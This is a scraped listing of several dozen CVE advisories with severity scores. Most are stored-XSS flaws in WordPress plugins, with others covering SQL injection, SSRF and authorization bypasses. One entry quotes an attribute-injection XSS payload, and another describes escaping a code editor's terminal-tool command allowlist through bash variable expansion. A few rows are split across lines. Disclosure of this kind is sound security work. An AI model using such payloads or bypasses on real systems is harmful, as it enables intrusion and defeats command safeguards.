CVE-2026-40838	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getDeviceScalings function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-40843	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the alarming view due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-40839	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getComponentScalings function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details

CVE-2026-40845	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the devices_configuration view due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-45275	Nextcloud is an open source content collaboration platform. Prior to version 2.7.2, a privilege escalation vulnerability exists in the Approval app that allows a user without sharing permissions to force the system to share a file with approvers. This results in an authorization bypass and privilege escalation, allowing unauthorized distribution of restricted files. This issue has been patched in version 2.7.2.	6.5	More Details
CVE-2026-47273	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.0, pam_usb builds XPath expressions from user-supplied identifiers (PAM username, service name) and device-supplied identifiers (USB device serial, model, vendor) to query /etc/pamusb.conf. These identifiers were not validated for XPath metacharacters, allowing injection of arbitrary XPath predicates. This vulnerability is fixed in 0.9.0.	6.5	More Details
CVE-2026-40831	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the Easy View due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-40832	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getDevicegroups function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-48877	Insertion of Sensitive Information Into Sent Data vulnerability in Tom GenerateBlocks allows Retrieve Embedded Sensitive Data. This issue affects GenerateBlocks: from n/a through 2.1.0.	6.5	More Details
CVE-2026-48726	A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for `FabAuthManager` and `KeycloakAuthManager` did not actually reach the underlying `revoke_token()` call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with `FabAuthManager` or `KeycloakAuthManager` (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side `revoke_token()` reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the FAB / Keycloak logout paths.	6.5	More Details
CVE-2025-0898	The Xpro Elementor Addons - Pro plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 1.4.7 via the Draw SVG widget. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.	6.5	More Details
CVE-2026-47745	Shopper is a Headless e-commerce Admin Panel. Prior to 2.8.0, the admin tables for PaymentMethods, Currencies and Carriers exposed inline toggles and per-record actions (enable, disable, edit, delete) that were rendered for any authenticated panel user without checking the corresponding per-action permission. A low-privilege user could disable every payment method on the store, disable or alter the default currency, or disable carriers. The impact is a full denial of checkout and pricing integrity loss, reachable by any authenticated user. This vulnerability is fixed in 2.8.0.	6.5	More Details
CVE-2026-9493	Service Center developed by BankPro E-Service Technology has an Insecure Direct Object Reference vulnerability, allowing authenticated remote attackers to modify the parameter of a specific query function to access other users' EC order details.	6.5	More Details
CVE-2026-40849	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the user_alarmprofile view due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-40848	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the tag view due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-47742	Shopper is a Headless e-commerce Admin Panel. Prior to 2.8.0, Sub-form Livewire components used in the product editor (Edit, Inventory, Seo, Shipping, Files) had no authorization on their store() method. Any authenticated panel user, regardless of role, could mutate any product's pricing, stock, SEO metadata, shipping dimensions, and attached media without holding edit_products. The affected components accepted the product ID as a public Livewire property without #[Locked], so an attacker could also target an arbitrary product by tampering with the wire payload from the client. This vulnerability is fixed in 2.8.0.	6.5	More Details
CVE-2026-40846	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the system view due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details

CVE-2026-40847	An low privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the system_tag view due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	6.5	More Details
CVE-2026-10272	A vulnerability has been found in a4m4 Student-Management-System up to f0c5f6842c5e8c431ff02b5260a565ca844df3a0. The impacted element is an unknown function of the file admin/deleteform.php. Such manipulation of the argument sid leads to improper authorization. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.	6.5	More Details
CVE-2026-0080	In multiple functions of ubsan_throwing_runtime.cpp, there is a possible way to cause a crash due to an integer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.	6.5	More Details
CVE-2026-45282	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 32.0.0 to before 32.0.9, and 33.0.0 to before 33.0.3, an authenticated attacker can access attachments of link shares when knowing the share token, circumventing password protection or download restrictions. It is applicable to any file that is shared directly, as the attacker only needs to know a documentId they own, apart of the mentioned share token. For shared folders the attacker has to know or guess a documentId of a file that is included inside the folder, making it much harder to exploit. The attacker can only extract an attachments, but not the file shared file or folder itself. It is recommended that the Nextcloud Server is upgraded to 33.0.3 or 32.0.9. It is recommended that the Nextcloud Enterprise Server is upgraded to 33.0.3, 32.0.9, 31.0.14.5, 30.0.17.9, 29.0.16.16, 28.0.14.17 or 27.1.11.5	6.5	More Details
CVE-2026-8866	The jQuery googleslides plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'googleslides' shortcode in all versions up to, and including, 1.3. This is due to insufficient input sanitization and output escaping on user supplied attributes (userid, albumid, authkey, imgmax, maxresults, random, caption, albumlink, time, and fadespeed) in the googleslides_handler() function, which interpolates the attribute values directly into single-quoted HTML attributes without using esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8867	The Post Category Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'postcategorygallery' shortcode in versions up to, and including, 1.0.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes (such as total_width, color_scheme, and caption_font_size) inside the sc_horcatbar() function, which are concatenated directly into HTML attribute values. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8897	The Shortcode Buddy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Shortcode Attributes in all versions up to, and including, 0.1.9.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8898	The Events In City plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'org-events' shortcode in versions up to, and including, 3.0. This is due to insufficient input sanitization and output escaping on user supplied attributes (such as 'organizer_id', 'width', 'height', 'transparency', 'header', 'border', and 'layout') in the org_event_scode() function. The attribute values are concatenated directly into HTML attributes without esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8891	The BitForm plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bitform' shortcode in versions up to, and including, 1.1.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes ('width' and 'height') in the Shortcode::shortcode() function, which are interpolated directly into the 'style' attribute of an <iframe> element. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-44462	Zed is a code editor. Prior to 0.229.0, Zed's terminal tool permission system can be bypassed via bash variable expansion chaining (${var@P}), allowing arbitrary command execution under an allowlisted command prefix. This vulnerability is fixed in 0.229.0.	6.4	More Details
CVE-2026-8886	The hk_shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title-plane' shortcode in versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes in the huankong_post_short_title_plane() function, where the 'title' attribute is concatenated directly into HTML output without any escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details

CVE-2026-8887	The Listen Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'listen' shortcode in versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user supplied attributes (src, start, end) in the listenEmbedJS() function, which are echoed inside a single-quoted HTML attribute without escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-3897	The Livemesh Addons for Beaver Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `labb_admin_ajax` AJAX action in all versions up to, and including, 3.9.2 due to missing authorization checks and insufficient input sanitization. The AJAX handler verifies a nonce but does not check user capabilities. This makes it possible for authenticated attackers with Subscriber-level access and above to modify plugin settings and inject malicious scripts that execute when administrators access the plugin settings page or when any user visits the frontend.	6.4	More Details
CVE-2026-8899	The Auto Thumbnail plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'thumbnails' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on the shortcode's 'width' and 'height' attributes in the athn_thumbnails() function, which are concatenated directly into an HTML <img> tag. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-20454	In geniezone, there is a possible out of bounds write due to a race condition. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10873936; Issue ID: MSV-6786.	6.4	More Details
CVE-2026-3896	The Livemesh SiteOrigin Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `lsow_admin_ajax` AJAX action in all versions up to, and including, 3.9.2 due to missing authorization checks and insufficient input sanitization. The AJAX handler verifies a nonce but does not check user capabilities. This makes it possible for authenticated attackers with Subscriber-level access and above to modify plugin settings and inject malicious scripts that execute when administrators access the plugin settings page or when any user visits the frontend.	6.4	More Details
CVE-2026-3895	The WPBakery Page Builder Addons by Livemesh plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `lvca_admin_ajax` AJAX action in all versions up to, and including, 3.9.4 due to missing authorization checks and insufficient input sanitization. The AJAX handler verifies a nonce but does not check user capabilities. This makes it possible for authenticated attackers with Subscriber-level access and above to modify plugin settings and inject malicious scripts that execute when administrators access the plugin settings page or when any user visits the frontend.	6.4	More Details
CVE-2026-8847	The Dideo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dideo' shortcode in version 1.0. This is due to insufficient input sanitization and output escaping on the 'id' shortcode attribute, which is interpolated directly into an HTML iframe 'src' attribute without escaping in the dideo() shortcode handler. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-2030	The WPBakery Page Builder Addons by Livemesh plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `[lvca_carousel]` and `[lvca_posts_carousel]` shortcode attributes in all versions up to, and including, 3.9.4 due to insufficient input sanitization and output escaping. Specifically, shortcode attributes are encoded with `wp_json_encode()` and output into single-quoted `data-settings` HTML attributes without using `esc_attr()`, allowing attackers to break out of the attribute by injecting single quotes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8868	The Single Mailchimp plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'single-mailchimp' shortcode in all versions up to, and including, 1.4. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes (autocomplete, label, placeholder, btn_text, success_msg, error_msg) which are concatenated directly into HTML output by the single_mailchimp() function in shortcodes.php. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8846	The Tuxquote plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'TUXQUOTE' shortcode in versions up to, and including, 1.3. This is due to insufficient input sanitization and output escaping on user supplied attributes ('title', 'align', and 'width') in the tuxquote_build_format() function, which are concatenated into the rendered HTML without being passed through esc_attr() or esc_html(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
	Nextcloud is an open source content collaboration platform. From versions 32.0.0 to before 32.0.9, and 33.0.0 to before 33.0.3, when a user shares a folder or file with a Nextcloud Team that includes an external member (a person added via email address who does not have a Nextcloud account), the system		

CVE-2026-45285	automatically creates a public link for that external member. This public link is not displayed in the share section of the folder, so the folder owner has no knowledge of its existence. It is sent via email to the external member. It grants the same permissions (read, write, delete, reshare, download) as the Team's access. An attacker who receives or intercepts this link can access, modify, delete, reshare, and download all data in the shared folder without any further authentication. The folder owner cannot see or revoke the link through the normal sharing interface. This issue has been patched in versions 32.0.9 and 33.0.3.	6.4	More Details
CVE-2026-8837	The WP Iframe Geo Style for Amazon affiliates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'adid' Shortcode Attribute in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-9714	The Simple Divi Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the [showmodule] shortcode in versions up to, and including, 1.2 This is due to insufficient input sanitization and output escaping in the showmodule_shortcode() function, which concatenates the 'id' shortcode attribute directly into a dynamically constructed shortcode string without applying esc_attr() or any escaping, allowing an attacker to break out of the attribute context and inject arbitrary HTML. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8703	The Endless Scroll plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Shortcode Attributes in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-9243	The Plus Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'carousel_direction' parameter of the Carousel Anything widget in versions up to, and including, 6.4.15 This is due to insufficient output escaping in the render() function, where the carousel_direction value is placed into an unquoted HTML attribute (dir=) allowing attribute injection despite the use of esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-6565	The Style Kits – Advanced Theme Styles for Elementor, Elementor Kits & Elementor Patterns plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '/wp-json/agwp/v1/tokens/save' endpoint kit title parameter in versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping in an admin attribute context. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8702	The GBI To Print plugin for WordPress is vulnerable to Stored Cross-Site Scripting in version 1.0 via the 'div' attribute of the 'gbitoprint' shortcode. This is due to insufficient output escaping in the gbi_toprint_shortcode() function, which concatenates the raw shortcode attribute value directly into an HTML attribute without applying esc_attr() or any other sanitization. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8701	The GNTT Post Title Ticker plugin for WordPress is vulnerable to Stored Cross-Site Scripting in version 1.0 via the `title-ticker-slide`, `title-ticker-fade`, and `title-ticker-typing` shortcodes. This is due to insufficient input sanitization and output escaping on shortcode attributes (notably `border`, `width`, `height`, `header_background`, `header_text_color`, and `id`) within the `gntt_title_ticker_slide()`, `gntt_title_ticker_fade()`, and `gntt_title_ticker_typing()` functions. None of these attribute values are passed through `esc_attr()` or any other escaping function before being concatenated into HTML output. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8875	The Easy Prism Syntax Highlighter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'code' (and 'c') shortcode in versions up to, and including, 1.0.2. This is due to insufficient input sanitization and output escaping on user supplied shortcode attributes in the shortcode() function, which concatenates the first positional attribute directly into the class attribute of the generated <pre>/<code> HTML without calling esc_attr() or any other escaping function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8871	The Formidable Kinetic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'kinetic_link' shortcode in versions up to, and including, 1.1.01. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes (notably 'window', 'class', and 'label') in the FrmKinetic::link() function, which are concatenated directly into HTML attributes of an anchor tag. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
	The PDBM application relies on a static, hard-coded secret embedded in the PDBM.exe executable. This		

CVE-2026-25600	secret is used by the application’s encryption routines, including the function responsible for decrypting credentials stored in the product’s configuration file. Because the secret is constant across installations, any attacker with sufficient local privileges can extract it from the binary. Once obtained, the secret allows the attacker to decrypt the stored password and authenticate as the user defined in the configuration file. In the affected version, this user account is configured with administrative privileges, granting full access to PDBM’s management interface and its underlying operational functions.	6.4	More Details
CVE-2026-8040	The faq shortocde plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'color' shortcode attribute in the 'faq' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-6275	The StatCounter – Free Real Time Visitor Stats plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.1 This is due to insufficient output escaping on the post author's nickname in the statcounter_addToTags() function. The function is hooked to wp_head and fires on every single post page. It retrieves the post author's nickname via the_author_meta() and echoes it directly into a JavaScript double-quoted string context inside a <script> block without applying esc_js() or any equivalent JavaScript-context escaping. This makes it possible for authenticated attackers with Author-level access and above to inject arbitrary web scripts into pages that will execute whenever any user (including unauthenticated visitors) accesses a post authored by the attacker.	6.4	More Details
CVE-2026-8698	The Cryptocurrency Prijsvergelijking Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting in version 1.0. This is due to insufficient output escaping in the as_get_coin_shortcode() function, which renders the 'width' (and 'height') shortcode attribute directly into the style attribute of an <iframe> element without applying any escaping function such as esc_attr(). An attacker-controlled value like '100px;"onload="alert(1)" x="' terminates the style attribute prematurely and injects an arbitrary HTML attribute into the iframe tag. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2025-14042	The Automotive Car Dealership Business WordPress Theme for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Project Details' custom field in Portfolio Items in all versions up to, and including, 13.4.1. This is due to insufficient input sanitization and output escaping on user-supplied attributes in the 'project_details' custom field. This makes it possible for authenticated attackers, with contributor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8873	The Content Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Shortcode Attributes in all versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8872	The Animate Your Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'animation-set' shortcode in versions up to, and including, 1.0.0. This is due to insufficient input sanitization and output escaping on user supplied attributes in the shortcode_args_to_html_attrs() function, which concatenates shortcode attribute values directly into double-quoted HTML attributes without calling esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-9557	A Server-Side Request Forgery (SSRF) vulnerability exists in Mautic's Focus component. Due to insufficient validation of user-supplied URLs, an authenticated user can trigger outbound HTTP requests from the hosting server, enabling internal network reconnaissance or forcing requests to arbitrary internal or external destinations.	6.4	More Details
CVE-2026-8844	The Responsive Check plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rspcheck' shortcode in versions up to, and including, 0.0.3. This is due to insufficient input sanitization and output escaping on the 'url' (and 'button') shortcode attributes in the rspc_check_shortcode() function, which are echoed directly into iframe src attributes without esc_attr() or esc_url(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8894	The iWR Tooltip plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `iwrtooltip` shortcode in versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user supplied attributes in the iwr_tooltip() shortcode handler — the `title` attribute is concatenated directly into an HTML attribute without esc_attr() or any other escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-	The Google+ Link Name plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gplusnamelink' shortcode in versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user supplied attributes ('id' and 'name') in the gplusnamelink_generate() function,	6.4	More

8842	which are concatenated directly into the rendered HTML without calling esc_attr() or esc_html(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.		Details
CVE-2026-9022	The Splide Carousel Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'url' Block Attribute in all versions up to, and including, 1.7.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload must be published before it executes for site visitors, which requires an editor or administrator to approve and publish the contributor's post.	6.4	More Details
CVE-2026-4334	The Shariff Wrapper plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'headline' parameter in the [shariff] shortcode in all versions up to, and including, 4.6.20 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability occurs because the plugin uses a custom wp_kses implementation with permissive allowed HTML tags, and then performs a str_replace operation that injects HTML after sanitization, allowing event handlers to be introduced through the %total placeholder in the style attribute.	6.4	More Details
CVE-2026-8884	The Instant-Quote.co Quotation Page plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Shortcode Attributes in all versions up to, and including, 1.3.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A Contributor-level user can trigger execution against higher-privileged users by embedding the malicious shortcode in a post submitted for review, causing the injected scripts to execute when an administrator previews or views the post.	6.4	More Details
CVE-2026-8845	The Islamic Database plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'islamicDB-roqya' shortcode in versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user-supplied 'width' and 'height' shortcode attributes within the islamicDB_sc_quran_qari_roqya() function, which are concatenated directly into HTML iframe attribute values. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8048	The My Email Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'subject' shortcode attribute in the 'my-email' shortcode in all versions up to, and including, 0.91 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8869	The Mutual Funds Data plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' shortcode attribute in versions up to, and including, 1.2.1. This is due to insufficient input sanitization and output escaping on the user supplied 'title' attribute in the mfd_shortcode() function, which is concatenated directly into the HTML output within a <caption> element. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-6427	The a3 Lazy Load plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.7.6 This is due to a regex bug in the _filter_videos() method that breaks HTML attribute quoting when processing crafted <video> elements, combined with unescaped output in the admin/views/form-data.php template. An authenticated attacker with Contributor-level access can insert a crafted <video> tag whose src attribute contains an embedded class=" substring that tricks the plugin's class-replacement regex into consuming an attribute-value closing quote. This shifts the HTML5 parser's quote boundary, promoting attacker-controlled text from inside a quoted attribute value into standalone event-handler attributes (autofocus, onfocus). The injected script executes in the browser of any user (including administrators) who views the post.	6.4	More Details
CVE-2025-59610	Memory Corruption when processing IOCTL requests with mismatched API versions due to concurrent modification of user-space buffer.	6.4	More Details
CVE-2026-9644	The LiveSmart Video Chat Live Video Chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'livesmart_widget' shortcode in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8870	The Team Master – A Modern WordPress Team Showcase plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Shortcode Attributes in all versions up to, and including, 1.1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details

CVE-2026-8042	The Github Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'repo' shortcode attribute in the 'github' shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-8877	The Responsive Video Embedder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rem_video' shortcode in versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping on user supplied attributes (notably 'id' and 'list') in the video_shortcode() function, which are concatenated directly into an HTML iframe's src attribute without escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2026-10302	A flaw has been found in itsourcecode Fees Management System 1.0. The impacted element is an unknown function of the file /manage_fee.php. Executing a manipulation of the argument ID can lead to sql injection. The attack may be launched remotely. The exploit has been published and may be used.	6.3	More Details
CVE-2026-2254	Hitachi Vantara Pentaho Data Integration & Analytics versions before 10.2.0.6 and 11.0.0.0, including 9.3.x and 8.3.x, does not apply ACLs on certain API endpoints related to platform mail notfications.	6.3	More Details
CVE-2026-10283	A vulnerability was detected in Bottelet DaybydayCRM up to 2.2.1. Affected is an unknown function of the component Setting Handler. Performing a manipulation results in missing authentication. Remote exploitation of the attack is possible. It is recommended to apply a patch to fix this issue.	6.3	More Details
CVE-2026-10550	A weakness has been identified in elunez eladmin up to 2.7. This vulnerability affects unknown code of the file App.java of the component Application Deployment Module. This manipulation of the argument uploadPath causes command injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-9607	A vulnerability was found in itsourcecode Courier Management System 1.0. The affected element is an unknown function of the file /parcel_list.php. Performing a manipulation of the argument s results in sql injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used.	6.3	More Details
CVE-2026-49093	Server-Side Request Forgery (CWE-918) in Kibana can allow an authenticated user with connector management privileges to bypass the operator-configured connector allowlist, causing the Kibana server to issue outbound requests to destinations the egress controls were intended to block.	6.3	More Details
CVE-2026-10211	A vulnerability was determined in AstrBotDevs AstrBot 4.23.6. Affected by this issue is the function _normalize_rw_path of the file astrbot/core/tools/computer_tools/fs.py. This manipulation causes incorrect authorization. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-10558	A vulnerability was detected in SourceCodester Pizzafy Ecommerce System 1.0. Impacted is an unknown function of the file /admin/index.php. Performing a manipulation of the argument page results in file inclusion. The attack is possible to be carried out remotely. The exploit is now public and may be used.	6.3	More Details
CVE-2026-10256	A vulnerability was identified in itsourcecode Content Management System 1.0. This vulnerability affects unknown code of the file /save_comment.php. The manipulation of the argument Name leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.	6.3	More Details
